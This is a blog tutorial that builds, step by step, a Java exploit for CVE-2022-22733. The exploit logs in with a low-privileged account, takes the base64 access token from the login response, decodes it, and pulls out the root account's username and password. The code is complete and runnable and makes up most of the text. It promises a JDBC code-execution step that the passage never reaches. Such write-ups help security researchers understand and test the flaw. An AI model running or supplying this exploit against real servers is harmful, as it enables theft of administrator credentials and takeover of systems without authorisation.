Introduction
In the previous blog from here, We have done analysis for CVE-2022-22733
and understand the root cause of the vulnerability & the issue in details. Now, It's the time to develop an exploit for this vulnerability and take it more further than just escalating our privileges.
The Exploit
As we know from the analysis that to exploit the vulnerability, We need to perform the following steps:
- Login with the low-privileged account.
- Obtain the unsecure generated
accessToken
. - Decode the unsecure generated
accessToken
. - Parse the decoded data from the
accessToken
. - Retrieve
root
account credentials from the parsed data. - Login with the
root
account credentials and obtain a full privileges on the application.
But, This time we will add a one more step that will allow us to achieve code execution on the target server, By performing the JDBC Attack
you could read more about it from here.
Login with the low-privileged account
So, First we need to perform a login request with the low-privileged account provided by the user. So, what do we need here ?:
- take input from user which is
username
andpassword
- The login request and it's form is as the following:
Login request:
POST /api/login HTTP/1.1
Host: 192.168.0.162:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Access-Token:
Content-Length: 39
Origin: http://192.168.0.162:8888
DNT: 1
Connection: close
Referer: http://192.168.0.162:8888/
{"username":"guest","password":"guest"}
We can see that the request is a POST
request to the /api/login
endpoint made to the host of 192.168.0.162
and port 8888
. So, we first need from the user a host and port of the server where the application is running. along with the username and password that we would use for authentication.
import java.net.URL;
import java.net.HttpURLConnection;
import java.util.Scanner;
public class Main {
public static void main(String[] args) throws Exception {
Scanner scanner = new Scanner(System.in);
System.out.print("[+] Enter host: ");
String host = scanner.nextLine();
System.out.print("[+] Enter port: ");
String port = scanner.nextLine();
System.out.print("[+] Enter username: ");
String username = scanner.nextLine();
System.out.print("[+] Enter password: ");
String password = scanner.nextLine();
scanner.close();
String url = "http://" + host + ":" + port + "/api/login";
URL obj = new URL(url);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();
con.setRequestMethod("POST");
con.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0");
con.setRequestProperty("Accept", "application/json, text/plain, */*");
con.setRequestProperty("Accept-Language", "en-US,en;q=0.5");
con.setRequestProperty("Accept-Encoding", "gzip, deflate");
con.setRequestProperty("Content-Type", "application/json;charset=utf-8");
con.setRequestProperty("Access-Token", "");
con.setRequestProperty("Origin", "http://" + host + ":" + port);
con.setRequestProperty("DNT", "1");
con.setRequestProperty("Connection", "close");
con.setRequestProperty("Referer", "http://" + host + ":" + port + "/");
String body = "{\"username\":\"" + username + "\",\"password\":\"" + password + "\"}";
con.setDoOutput(true);
con.getOutputStream().write(body.getBytes("UTF-8"));
int responseCode = con.getResponseCode();
System.out.println("[*] Response Code: " + responseCode);
}
}
Here we imported the needed libraries from java.net
& java.util
and then read the input of host
,port
,username
and password
from the user using then closed the scanner object we created:
Scanner scanner = new Scanner(System.in);
System.out.print("[+] Enter host: ");
String host = scanner.nextLine();
System.out.print("[+] Enter port: ");
String port = scanner.nextLine();
System.out.print("[+] Enter username: ");
String username = scanner.nextLine();
System.out.print("[+] Enter password: ");
String password = scanner.nextLine();
scanner.close();
After that we created a URL
object to handle the URL
for login endpoint inside the obj
, Then we created Http
connection to our URL
object and assign the connection to con
which is the Http
connection object:
String url = "http://" + host + ":" + port + "/api/login";
URL obj = new URL(url);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();
In the coming lines, We set the request method and the headers needed for the request through the methods under the con
object:
con.setRequestMethod("POST");
con.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0");
con.setRequestProperty("Accept", "application/json, text/plain, */*");
con.setRequestProperty("Accept-Language", "en-US,en;q=0.5");
con.setRequestProperty("Accept-Encoding", "gzip, deflate");
con.setRequestProperty("Content-Type", "application/json;charset=utf-8");
con.setRequestProperty("Access-Token", "");
con.setRequestProperty("Origin", "http://" + host + ":" + port);
con.setRequestProperty("DNT", "1");
con.setRequestProperty("Connection", "close");
con.setRequestProperty("Referer", "http://" + host + ":" + port + "/");
Finally, We created the request body and pass the user input to it and pass it to the con
Http object to be included in the request & after that to print us the Response status code:
con.setDoOutput(true);
con.getOutputStream().write(body.getBytes("UTF-8"));
int responseCode = con.getResponseCode();
System.out.println("[*] Response Code: " + responseCode);
Now, It's time to try our first step code:
As we can see our first step done successfully, Let's move to the next step.
Obtain the accessToken
Now, Let's send the normal login request within burp suite repeater, We can see that the response body is a JSON
format:
As we focusing here we focus on the value of accessToken
key with in JSON
data. But, We can see that the accessToken
key is under model
array. So, When we parse the JSON
data we will get the value of model
array then get the accessToken
value from it.
BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()));
String inputLine;
StringBuffer response = new StringBuffer();
while ((inputLine = in.readLine()) != null) {
response.append(inputLine);
}
in.close();
JSONObject jsonObject = new JSONObject(response.toString());
JSONObject model = jsonObject.getJSONObject("model");
String accessToken = model.getString("accessToken");
System.out.println("[*] Acess Token: " + accessToken);
After importing the new needed modules java.io.BufferedReader
,org.json.JSONObject
,java.io.InputStreamReader
. Here we created a BufferReader
object named in
and assign response we got from the application into it, Then we define a String named inputLine
to use it in our loop to store the response lines and then assign it to the StringBuffer
object named response
which gonna contain the JSON
data we want. then we closed in
. After that we define a JSON
object named jsonObject
and store the response
in it as a string format, Then we created another JSON
object named model
and store the value of model
key from the JSON
data in it, Finally we created a string named accessToken
and assign the value of accessToken
key inside model
array into it and print that value out.
And here we can see, Step 2 of our exploit is done.
Decode the accessToken
We can easily identify that the accessToken
value is base64
, So, Now we need to decode it to a normal string. And this will be done easily using the following 2 lines after importing the needed modules java.nio.charset.StandardCharsets
,java.util.Base64
:
byte[] decodedBytes = Base64.getDecoder().decode(accessToken.getBytes(StandardCharsets.UTF_8));
String decodedAccessToken = new String(decodedBytes, StandardCharsets.UTF_8);
System.out.println("[*] Decoded Acess Token: " + decodedAccessToken);
Here we created a byte
array named decodedBytes
that will decode the accessToken
value and store inside it, After that define a string named decodedAccessToken
that will store the bytes after converting it to a string and then will be printed out.
Here we can see see the decoded token and the 3rd step of the exploit done successfully.
Parse the decoded data from the accessToken & Retrive root account credentials
It's time now for step 4 & 5. As the decoded data from the accessToken
is JSON
format. Then let's part it and Retrieve the root
account credentials.
JSONObject decodedJsonObject = new JSONObject(decodedAccessToken);
String rootUsername = "";
String rootPassword = "";
if (decodedJsonObject.has("rootUsername") && decodedJsonObject.has("rootPassword")) {
rootUsername = decodedJsonObject.getString("rootUsername");
rootPassword = decodedJsonObject.getString("rootPassword");
System.out.println("[*] Root username: " + rootUsername);
System.out.println("[*] Root password: " + rootPassword);
} else {
System.out.println("[-] Access token does not contain rootUsername and rootPassword keys.");
}
We created a JSON
object named decodedJsonObject
and assign the decoded accessToken
value to it, Then define 2 strings with empty value for username and password we will retrive later. After that we made if
condition to check if the JSON
data has the rootUsername
& rootPassword
keys to Retrievethe credentials from it, If it's exist then it will assign the values to the string variables we defined early which are rootUsername
& rootPassword
after that it will print the values out, And if not found, It will print us a massege telling us it's not found.
And here we can see our 4th & 5th steps done successfully.